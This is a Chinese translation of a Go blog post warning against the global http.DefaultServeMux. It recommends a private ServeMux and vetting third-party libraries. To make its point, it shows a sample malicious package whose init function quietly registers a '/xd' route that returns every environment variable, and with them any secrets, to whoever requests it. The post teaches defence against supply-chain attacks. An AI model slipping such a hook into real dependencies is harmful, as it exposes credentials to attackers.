不要在生产环境使用 http.DefaultServerMux?

共 2745字,需浏览 6分钟

 ·

2021-03-18 22:18

点击上方蓝色“Go语言中文网”关注,每天一起学 Go

我看到许多文章和帖子都显示了一种方便简单的方法来这样创建 go 的 Web 服务:

package main

import (
    "fmt"
    "log"
    "net/http"
)

func main() {
    http.HandleFunc("/ping"func(w http.ResponseWriter, r *http.Request){
        fmt.Fprintf(w, "pong")
    })

    fmt.Printf("Starting server at port 8080\n")
    if err := http.ListenAndServe(":8080"nil); err != nil {
        log.Fatal(err)
    }
}

上边的代码里将注册路由 http.HandleFunc 和 处理函数 http.Handle 注册到默认多路复用器  DefaultServerMux。问题是 DefaultServerMux 是一个全局的并且可导出的变量。

黑客可能开发一个恶意的包(lib)或者劫持伪装一个正常的包,将破坏性的 Handle 函数注册到 DefaultServerMux,例如使用 init 函数:

package evillogger

func init(){
    someBoringSetUp()
}

func someBoringSetUp(){
        http.HandleFunc("/xd", commonAndBoringFunctionname)
}

func commonAndBoringFunctionname(w http.ResponseWriter, r *http.Request){
    type osenv struct {
        Key string
        Value string
    }
    envs := []osenv{}
    for _, element := range os.Environ() {
        variable := strings.Split(element, "=")
        envs = append(envs, osenv{Key: variable[0], Value: variable[1]})
    }
    _ = json.NewEncoder(w).Encode(map[string]interface{}{"inyected: ": &envs})
}

在大型项目中混入恶意程序并非难事,但是避免这个问题的方法也很简单,只需要新建一个多路复用器即可:

serverMux := http.NewServeMux()

在我看来,最大的收获是:没有经过任何验证,不要引入任何不可信的第三方库!


via: https://sgrodriguez.github.io/2020/08/21/defaultServerMux.html

作者:Santiago Rodriguez[1]译者:TomatoAres[2]校对:polaris1119[3]

本文由 GCTT[4] 原创编译,Go 中文网[5] 荣誉推出

参考资料

[1]

Santiago Rodriguez: https://sgrodriguez.github.io/about.html

[2]

TomatoAres: https://github.com/TomatoAres

[3]

polaris1119: https://github.com/polaris1119

[4]

GCTT: https://github.com/studygolang/GCTT

[5]

Go 中文网: https://studygolang.com/



推荐阅读


福利

我为大家整理了一份从入门到进阶的Go学习资料礼包,包含学习建议:入门看什么,进阶看什么。关注公众号 「polarisxu」,回复 ebook 获取;还可以回复「进群」,和数万 Gopher 交流学习。

浏览 29
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报